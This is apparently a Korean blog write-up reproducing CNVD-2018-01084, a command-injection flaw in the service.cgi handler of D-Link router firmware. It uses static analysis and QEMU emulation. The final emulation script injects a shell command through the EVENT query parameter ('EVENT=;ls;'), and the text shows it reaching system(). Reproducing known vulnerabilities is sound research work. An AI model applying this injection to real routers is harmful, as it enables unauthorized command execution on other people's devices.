CNVD-2018-01084 취약점 재현
시작하기 전에
최근에는 주로 이 취약점을 재현하는 작업에 집중하고 있습니다.
펌웨어 다운로드
D-link의 취약점을 재현하려고 할 때, 공식 웹사이트에서 필요한 부착 파일을 찾지 못하거나 버전이 맞지 않았습니다. zikh26님의 추천으로 다음 사이트에서 D-link 관련 부착 파일을 대부분 찾을 수 있었습니다: https://ftp.dlink.ru/pub/Router/
취약점 재현
공식 문서를 통해 취약점이 /htdocs/cgibin 프로그램 내의 service.cgi에 존재한다는 것을 확인했습니다.
바이너리 파일 정적 분석
취약점 함수가 특정 위치에 고정되어 있으므로, 그 호출 방식을 직접 분석해보겠습니다.
이 취약점은 명령 주입이며, 대개 system 함수와 관련되어 있습니다. service.cgi 내에서 크로스 컴파일 도구를 사용하여 호출 관계를 조사했습니다.
servicecgi_main 함수
servicecgi_main 함수에 진입하면 REQUEST_METHOD 값을 POST 또는 GET으로 설정해야 합니다.
cgibin_parse_request 함수
다음으로 cgibin_parse_request 함수로 이동합니다. 이 함수의 반환 값이 0보다 큰 경우에만 진행됩니다.
이 함수에서는 CONTENT_TYPE, CONTENT_LENGTH, REQUEST_URI도 설정해야 합니다. 특히 REQUEST_URI는 ? 기준으로 문자열이 분할됩니다.
sub_402B40 함수에서는 =로 분할한 후 &로 다시 분할하며, 형식은 aaa?bbb=ccc&ddd입니다.
CONTENT_TYPE의 처음 12바이트와 off_42C014의 application/과 비교합니다. 세 번째 매개변수 v7은 실제로 CONTENT_LENGTH입니다.
성공 시 &off_42C014)[3 * v16 - 1]을 호출하며, 여기서 v16은 1입니다. 결국 sub_403B10을 호출하게 됩니다.
sub_403B10 함수에서는 application/x-www-form-urlencoded를 확인하며, cgibin_parse_request 함수의 반환 값이 반드시 양수여야 합니다.
스크립트 예제
qemu-mipsel-static -g 1234 -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="GET" \
-E REQUEST_URI="aaa?bbb=ccc&ddd" \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin
위 스크립트에서 bbb 부분은 ? 뒤에 오는 = 앞의 문자열입니다.
EVENT를 선택한 이유는 해당 문자열이 event %s > /dev/null 형태로 연결되기 때문이며, event는 실제 명령이 아닙니다. 따라서 ;cmd;와 같은 명령을 직접 입력할 수 있습니다.
그 다음 lxmldbc_system 함수로 이동하지만 IDA에서 파라미터 표시가 잘못된 것 같습니다.
IDA 내에서 디버깅 결과, =과 & 사이에 하나의 추가 파라미터가 있다는 것을 발견했습니다.
디버깅 결과, 최종적으로 event %s > /dev/null에 연결되어 system 함수로 실행되는 것으로 보입니다.
수정된 스크립트는 다음과 같습니다:
qemu-mipsel-static -g 1234 -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="GET" \
-E REQUEST_URI="aaa?EVENT=;ls;&ddd" \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin
성공적으로 실행되었습니다.